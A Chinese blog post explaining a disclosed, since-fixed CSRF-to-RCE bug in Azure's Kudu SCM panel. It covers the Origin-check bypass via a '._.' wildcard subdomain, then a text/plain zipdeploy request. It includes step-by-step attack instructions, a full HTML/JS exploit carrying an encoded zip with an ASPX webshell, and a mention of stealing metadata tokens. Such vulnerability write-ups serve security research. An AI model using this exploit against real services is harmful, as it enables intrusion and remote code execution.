- 前言
- 存在漏洞的服务 - Kudu SCM
- 漏洞利用的关键点
- 1、Same-site配置不当
- 2、服务端对Origin的校验可被绕过
- 3、利用一个高危功能接口
- 3.1、DoS -
POST /api/scm/clean
、POST /api/app/restart
- 3.2、RCE -
POST /api/zipdeploy
- 没校验一些自定义请求头 - 如:If-Match: *、X-Requested-With: XMLHttpRequest
- text/plain is out friend
- 3.1、DoS -
- 整个攻击流程如下
- Exploit
- 修复
- 启发
前言
原文:
https://www.tenable.com/blog/Emoji-Deploy-Smile-Your-Azure-web-service-just-got-Rced
来自Tenable的安全研究员 @Liv Matan,发现了一个影响多个Azure云服务(如Function Apps、App Service、Logic Apps等)的RCE漏洞。
这是一个需要结合CSRF攻击的RCE漏洞,换言之,需要用户交互。
存在漏洞的服务 - Kudu SCM
Kudu SCM服务是用C#语言开发的,且是开源的。
Kudu SCM服务是很多重要的Azure云服务的底层依赖,如:Azure Functions, Azure App Service, Azure Logic Apps等。我们可以将 Azure Web 服务分为三大类:应用服务、功能应用和逻辑应用。这些服务有一个共同点:它们都默认部署 SCM 面板。 SCM 面板授予 IT 团队、DevOps 和 Web 管理员修改和管理其 Azure Web 应用程序的访问权限。
Kudu 是 Azure Web Apps 中 Git 部署背后的引擎。它是一个基于 Web 的 Git 存储库管理器,提供用于在 Azure 上部署和管理应用程序的 SCM。 SCM Web 面板充当这些服务的管理界面。
漏洞利用的关键点
1、Same-site配置不当
作者发现Cookie中,所有的字段的SameSite属性都为None
. 这就使得浏览器不会对Cookie进行跨域攻击的防护。
2、服务端对Origin的校验可被绕过
作者自己的SCM服务的站点地址形式如:https://<my-webapp>.scm.azurewebsites.net
,<my-webapp>
这里作为占位符。
默认情况下,SCM前端发起的http请求的Origin头就是:https://<my-webapp>.scm.azurewebsites.net
。当修改为 https://test.com
时,服务端返回401,如图:
从图中响应头Access-Control-Allow-Origin: https://test.com
可以看到,其实看起来SCM服务是允许跨域的。但却返回401,这就说明这是额外对Origin头作了安全校验。
换言之,如果有办法绕过这个额外的Origin头校验,就可以实施跨域攻击。
注:这点很重要,是个很重要的前提。因为如果响应头
Access-Control-Allow-Origin
没有回显Origin
请求头指定的域名或站点,就说明服务是不允许跨域的,这种情况下,即使绕过了服务端对Origin头的安全校验,也无法实施跨域攻击。
继续测试,用以下3种形式的Origin,都无法绕过SCM服务的安全校验:
https://<my-webapp>.scm.azurewebsites.net.attacker.com
https://attacker.<my-webapp>.scm.azurewebsites.net
http://<my-webapp>.scm.azurewebsites.net
于是作者继续尝试绕过这个Origin头的安全校验,测试发现如下结果:
其中的$
表示一个任意字符的占位符。意思是,在<my-webapp>.scm.azurewebsites.net
后面加上一个除了-
和_
以外的任意特殊字符,是可以通过SCM服务的Origin安全校验的。
但是呢,主流浏览器并不接受除了-
和_
以外的任意特殊字符,作者对四大浏览器的测试结果如下:
因为CORS/CSRF是要用户浏览器交互的,所以这意味着前面的这种绕过方式无效。
作者研究发现,浏览器可以接受_
符号作为一个子域,并测试发现以下形式可以绕过SCM服务的Origin安全校验:
https://<my-webapp>.scm.azurewebsites.net._.<attacker-site>./
._.
不就像个emoji一样么hhh。
设置DNS记录时,可以用通配符。
原文:To summarize: This finding allows an attacker to create a wildcard DNS record for his own domain and send cross-origin requests with special characters that eventually will be accepted by the server origin check.
3、利用一个高危功能接口
3.1、DoS - POST /api/scm/clean
、POST /api/app/restart
POST /api/scm/clean
:Cleans the repositoryPOST /api/app/restart
:Restarts the application
3.2、RCE - POST /api/zipdeploy
POST /api/zipdeploy
:通过zip包进行应用部署
没校验一些自定义请求头 - 如:If-Match: *、X-Requested-With: XMLHttpRequest
这里直接贴原文:
我让GPT解读如下:
其实按照笔者的经验,印象中没遇到过服务端会校验If-Match: *、X-Requested-With: XMLHttpRequest
来防御CORS/CSRF攻击的...
后面从微软对这个漏洞的修复来看,也没有涉及这点。
text/plain is out friend
原始的请求/api/zipdeploy
会带上application/x-www-form-urlencoded; charset=UTF-8
的Mime-Type,但执行不带charset的标准CSRF请求会返回禁止(估计是403),而且,无法强制浏览器使用charset=UTF-8。
这里贴上原文:
Text/plain is our friend
The original request to /api/zipdeploy is sent with application/x-www-form-urlencoded;charset UTF-8 Mime-type. Sending a standard CSRF request with the >charset omitted returns Forbidden. Furthermore, you can not force charset UTF-8 from the browser.
We are left with multipart/form-data and text/plain, otherwise, the browser will send a preflight request.
After some investigation, the SCM server in this particular zipdeploy endpoint accepts text/plain Mime-types. We can encode our zip payload and use text/plain for CSRF.
让GPT解读下这段话,这里摘取关键信息:
文章中提到的“无法强制字符集UTF-8”是指,在某些情况下,浏览器会自动去除请求头中指定的charset=UTF-8,或者浏览器在跨域请求时会有一些限制。例如,如果没有正确的charset=UTF-8指定,浏览器会认为该请求不符合服务器的要求,因此返回Forbidden(禁止访问)错误。
(之所以让GPT解读,是因为这一点笔者没理解,解读后其实还是没理解。。。我的理解是:直接在js代码中通过xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8")
指定字符集不就好了吗,浏览器执行CSRF攻击时应该是不会去除字符集的才对)
因此作者为了解决这个限制,测试发现用 text/plain
也是可以被SCM服务接受的。
整个攻击流程如下
Reproducing the full attack on "victim" from ermetic-research.com (ASPX example):
The easiest way to get a POC and a running execution chain is by uploading a webshell to the respected server:
Host a server.
Create a wildcard DNS record for your domain *.ermetic-research.com and point it to the server you created.
Create a malicious ZIP file with an ASPX webshell or any other payload inside.
Create a HTTP POST request to /api/zipdeploy?isAsync=true with the malicious zip file encoded as a body and set the Content-Type header to text/plain (see our example js code below).
The victim navigates to your payload on your hosted domain with the origin regex bypass - https://victim.scm.azurewebsites.net._.ermetic-research.com./
Access the webshell and run code on the victim.
Optional: Get the AWS EC2 IMDS token from the meta-data service and access other services.
Prerequisite: SCM cookies or Microsoft account cookies
Exploit
<html><body><script>history.pushState('', '', '/')</script>
<script>
function authScm(){window.open('https://victim.scm.azurewebsites.net/','_blank');
setTimeout(function(){ submitRequest(); }, 4000);
}
</script>
<a href="#" onclick="authScm()">Please authenticate to the scm if you aren't already</a>
<script>function submitRequest(){var xhr = new XMLHttpRequest();xhr.open("POST", "https:\/\/victim.scm.azurewebsites.net\/api\/zipdeploy\/?isAsync=true", true);xhr.setRequestHeader("Content-Type", "text\/plain");xhr.setRequestHeader("Accept", "*\/*");xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");xhr.withCredentials = true;var body = "PK\x03\x04\x14\x00\x00\x00\x08\x00\x00ZXUR)-\xc8\x8a\x02\x00\x00\x1f\x05\x00\x001\x00\x00\x00asdinjasindjsadisandiasundsiaudiasnudnaisuda.aspx\x8d\x93oo\xd30\x10\xc6\xdfW\xeaw8\x19Mj\x05\xa4\x7f\xc6\x005I\xc5h3\xadRY\xab\xb5h\x887\x93\x9b\xdc\xba@bG\xb6\xb3eB|w\xceNZ\xc6VM\xbc\x8a\xe3{|\xf7\xf3=\xe7\xe0\xe8\x13,\xf9\x16a\xce\xc5\xb6\xa4E\xc8&\xaf\x18LqSnCfT\x89\x0c\xd6\x8a\xc7\xb4\x7f\xc33M\x7fG\xe3v\xcb\x9e\x9a\xe5\x85T\x06.x\x8e\xbap\x82\xd5\x836\x98{\xd3\x94o\x85\xd4&\x8d\xf5\x7f\xa8g\x8bF\xa4c\x95\x16\xe6\x11GL\x1c\xaa\x14\xdc\x84L\xa3\xbaC\xc5Hv\'\xd3\xc4\x01_\xcf%O:r\xf3\x03c\x03\x1aE\x82\xea\rDw(\xcc\xa9\xdaj\xc0n\xbb\xf5\xab\xdd\xfa\xddni\xa3R\xb1\x85\xa8\x8aK\x83\x93\x3c\xe94\x1b\\mk\xcdR\xc9\x18\xb5^\x19\xae\xccL\xdcH(t\n" + "!\x08\xbc\x87\xa7\xa1N\xd7o\xb7(\xec\x9d\xa5\x19\xda\xbb\x90\x8e\xc5y\xe2a\x85\xac\tQ\xf92\'\x0cmc\xbd\x18\xd8k\xaa\xd4\xc4.1I\x15\x01SB\x91p\x95,JS\x94\x86\x84\xb6\xd1\x8d\xe6\xab\xc6\xd5-fYT\xa1%\xa6\xa0k\xbc\xbf\x07\x85\x82\xf6\x9a\xb5\xe7\xd0:t\xce\x92\xad\x8cB\x9e_\"\xa7f\x806\xb9J\x14I\x0b\xef\xdfr\xfe\xbe\'\x16\xb1\x96y\xf6\xd0ZF\"qWl6\'\x99\xd4\xe86\x14\x9aR\t\xd0\xbek\xa93\x81\xaeM\x88\xd7\x93,\x8d\x7f\x3e\xf5\xa1\xf1\xf6\x99\x1d\x97d\xbe\x14\x1a\xbd+\x95\x1a\xec\xb0\xa0P8f]\xffYd\xe5\x0c\xf7\xceM\x9eE\"\x96\tv\xfe\xfag*\x9b\xd3[ce\xba\xdd\x03gY\xd0\xdb\xa7%\xd8\xa0WO\x96\x9d\xb1\xf3\xf5\x97\xb9\xfbF\xa7S\xfb5\xa9\xc9p\xcc\xefQ\x00\xd7\x85\'\xd0\xc0=n\xb4m\x7f\xd0\xab\x836\xc1N\xbe\x91\xc9\x03\xd8\xc5\x8dT9\xa4Ih\xbdg\x90\xa3\xb9\x95\xf4S\xd0\xd0\x1f\x18\xd9\x80R\x8f,\xedgY\xb9C\xf5\x05\x18\xb5\xfe!\xa39\xff\xfevv1\x8d\xbe\x8d`\xd0\x1f\xf80\x8f\xce\xd6#x\xd7?)*\x1f\x96\x8b\xd5l=[\\\x8c\x80o\xb4\xcc\xa8\x01\x3e\xac\x17\xcb\x11\x0c\xfbE\xf5\xb4\x14\\\xa5\x89\xb9\r\xd9\xf0\xc4\x06\xc7A\xefQ\xdd\x1d\xc6\xe7\xd2\x18)j\n" + "\xa4\'*\x0eb\x0cw\x18\xef?\xbc\x8c1\xf8x\x00\xc3\x96\x0c\x19\xd6\xe3\xcb`!\xdc\x88\x84\xec\xf1\xc0\xec\xf0j\x9e\x1d\xdd\x9co0sp\xd9&\xb3i\x0e\xc1\x1d\xef\xe0\x8e\x07\xfd\x97{4|\x0e7\x9e\xc8\x3c\xa7\xc70\n" + "z\xfb\x82\xceb\xeb\xa8[X\x8fk\xd3\xed\xac\xfc\x01PK\x01\x02\x1f\x00\x14\x00\x00\x00\x08\x00\x00ZXUR)-\xc8\x8a\x02\x00\x00\x1f\x05\x00\x001\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00asdinjasindjsadisandiasundsiaudiasnudnaisuda.aspx\n" + "\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\xe4\x87+\xda\x80\xe7\xd8\x01\xe4\x87+\xda\x80\xe7\xd8\x01\x80}\xf8\xc3\xdc\"\xd6\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x83\x00\x00\x00\xd9\x02\x00\x00\x00\x00";var aBody = new Uint8Array(body.length);for (var i = 0; i < aBody.length; i++)aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody]));}submitRequest();</script></body>
</html>
用GPT对这段CSRF利用代码进行解读:
修复
微软针对两点作了修复:
(1)加强对Origin的校验;
(2)对Cookie中跟会话相关的字段的Samesite属性设置为Lax.
启发
(1) 不要觉得是大厂就不存在比较常规的漏洞;
(2) 遇到防护措施不要轻言放弃;
(3) 在挖云厂商的bug bounty时,要关注一些充当管理面的云服务的前端漏洞(如不安全的CORS、CSRF、XSS等),这种漏洞bounty价值挺高的,作者通过文中的漏洞获得了3w美刀的奖励。